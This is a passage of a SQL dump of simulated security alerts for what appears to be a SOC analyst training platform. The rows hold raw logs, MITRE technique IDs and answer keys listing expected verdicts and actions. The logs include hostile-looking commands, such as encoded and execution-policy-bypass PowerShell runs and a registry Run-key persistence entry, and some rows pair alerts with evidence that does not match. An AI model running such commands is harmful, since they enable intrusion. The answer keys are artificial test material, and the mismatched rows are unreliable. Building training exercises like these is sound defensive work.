89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(314, 'Port Scanning Detected from External Source', 'medium', 'Network', 'Multiple connection attempts on increasing port numbers were detected from an IP address not previously seen, suggesting a potential reconnaissance attempt.', 'Network Anomaly', 'T1046', 0, 'resolved', NULL, '{\"timestamp\":\"2023-10-14T13:47:08Z\",\"src_ip\":\"185.32.184.76\",\"src_port\":4723,\"dest_ip\":\"172.16.0.10\",\"dest_ports\":[22,23,80,443,8080],\"protocol\":\"TCP\",\"packet_count\":50,\"byte_count\":11000,\"user_agent\":\"Mozilla/5.0\",\"geo_location\":{\"country\":\"Germany\",\"city\":\"Frankfurt\"},\"additional_info\":{\"as_number\":12345,\"as_org\":\"Example ISP\"}}', '2026-01-02 13:35:26', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"221.191.155.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 221.191.155.57 reported 235 times for malicious activity. Abuse confidence score: 89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(315, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process \'malware.exe\' was executed on the host \'WORKSTATION-01\'. The process has been linked to a known malware campaign targeting enterprise environments.', 'Malware', 'T1059', 1, 'Closed', 54, '{\"timestamp\":\"2026-01-02T10:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.2\",\"hostname\":\"WORKSTATION-01\",\"username\":\"jane.doe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_path\":\"C:\\\\Users\\\\jane.doe\\\\malware.exe\"}', '2026-01-02 11:44:27', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as part of a well-known malware campaign.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP is part of the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Username belongs to an internal employee.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a known malicious file indicates a real threat requiring immediate containment and investigation.\"}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(316, 'Phishing Attempt Detected via Malicious Email', 'medium', 'Proofpoint', 'An email containing a malicious URL was received by user \'john.smith\'. The URL is associated with credential harvesting attacks.', 'Phishing', 'T1566', 1, 'investigating', 300, '{\"timestamp\":\"2026-01-02T08:47:30Z\",\"event_type\":\"email_received\",\"email_sender\":\"no-reply@fakebank.com\",\"username\":\"john.smith\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-02 14:22:02', '2026-03-14 23:55:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email address is associated with recent phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing sites targeting user credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Username belongs to an internal employee.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a malicious URL in an email suggests a phishing attack aimed at harvesting credentials.\"}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected via Malicious Email\",\"date\":\"2026-02-01T20:32:18.911Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(317, 'Suspicious Email Detected with Potential Phishing URL', 'medium', 'Proofpoint', 'An email was received from a suspicious sender with a URL known for phishing activities. The email appears to be a spoofed message attempting to trick users into clicking the malicious link.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-02T08:34:22Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.12\",\"email_sender\":\"noreply@alerting-service.com\",\"domain\":\"alerting-service.com\",\"url\":\"http://malicious-phishing-link.com\",\"username\":\"john.doe\",\"hostname\":\"johns-pc\"}', '2026-01-02 11:43:28', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 23 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"alerting-service.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-phishing-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with ongoing phishing campaign\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a known malicious URL and reports of phishing from the IP suggest this is a true positive.\"}', 'Beginner', 'EDR', 1, 0, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected with Potential Phishing URL\",\"date\":\"2026-02-01T20:32:18.912Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(318, 'Excessive Login Failures from Known Internal Host', 'low', 'Wazuh', 'Multiple failed login attempts were detected from an internal IP address. The activity was flagged due to a high number of failures, but the source is an internal, known host.', 'Brute Force', 'T1110', 0, 'Closed', 34, '{\"timestamp\":\"2026-01-02T09:15:47Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"internal-server\",\"failed_attempts\":15}', '2026-01-02 19:25:21', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal network address, no external reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"clean\",\"details\":\"Commonly used internal admin account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures originate from an internal IP address, indicating a potential misconfiguration or user error rather than a malicious attempt.\"}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.913Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-02T09:15:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:18.913Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-02T09:15:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:18.913Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-02T09:15:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:18.913Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-02T09:15:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:18.913Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-02T09:15:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(319, 'Suspicious Email Detected', 'high', 'Email Gateway', 'APT10 begins the attack by sending spear-phishing emails to key employees of TechGlobal Inc., enticing them to click on a malicious link disguised as a legitimate business document.', 'Phishing', 'T1566.001', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-01T14:32:00Z\",\"email_id\":\"d3f4b5c6-7e89-4abc-de12-34567890fghj\",\"sender\":\"attacker@maliciousdomain.com\",\"recipient\":\"jane.doe@techglobal.com\",\"subject\":\"Important Business Document\",\"attachment\":\"Invoice_2023.pdf\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"source_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.45\",\"url\":\"http://maliciousdomain.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"smtp_server\":\"smtp.techglobal.com\"}', '2026-01-02 20:23:41', '2026-03-09 02:49:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is associated with malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address involved in multiple phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Inspection Service\",\"verdict\":\"malicious\",\"details\":\"URL is associated with phishing activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Name Patterns\",\"verdict\":\"suspicious\",\"details\":\"Common filename used in phishing emails.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected\",\"date\":\"2026-02-01T20:32:18.914Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(320, 'Unauthorized Application Execution', 'high', 'EDR', 'Following successful credential harvesting, the attacker uses the compromised accounts to execute malware on the target network, enabling remote access and further exploitation.', 'Malware', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:28:32Z\",\"event_id\":\"4624\",\"computer_name\":\"workstation-22.corp.local\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.57\",\"destination_ip\":\"10.0.0.45\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"malicious_script.ps1\",\"action\":\"Create Process\"}', '2026-01-02 20:23:41', '2026-03-09 02:51:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Compromised user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(321, 'Persistence Mechanism Installed', 'high', 'Endpoint Security Logs', 'APT10 installed a persistence mechanism via registry modifications and scheduled tasks on the endpoint, ensuring continued access to the compromised systems. Detection of suspicious registry changes and scheduled tasks was noted.', 'Persistence', 'T1547', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-23T14:37:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.2.15\",\"username\":\"jdoe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"filename\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_type\":\"RegistryModification\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"process_name\":\"regedit.exe\"}', '2026-01-02 20:23:41', '2026-03-09 02:54:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT10 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\",\"is_critical\":true,\"osint_result\":{\"source\":\"EndpointSecurity\",\"verdict\":\"malicious\",\"details\":\"Malicious scheduled task linked to persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalDirectory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.916Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:37:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\ScheduledTaskMalware\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_type\\\":\\\"RegistryModification\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.916Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:37:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\ScheduledTaskMalware\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_type\\\":\\\"RegistryModification\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.916Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:37:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\ScheduledTaskMalware\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_type\\\":\\\"RegistryModification\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.916Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:37:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\ScheduledTaskMalware\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_type\\\":\\\"RegistryModification\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.916Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-23T14:37:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\ScheduledTaskMalware\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_type\\\":\\\"RegistryModification\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"process_name\\\":\\\"regedit.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
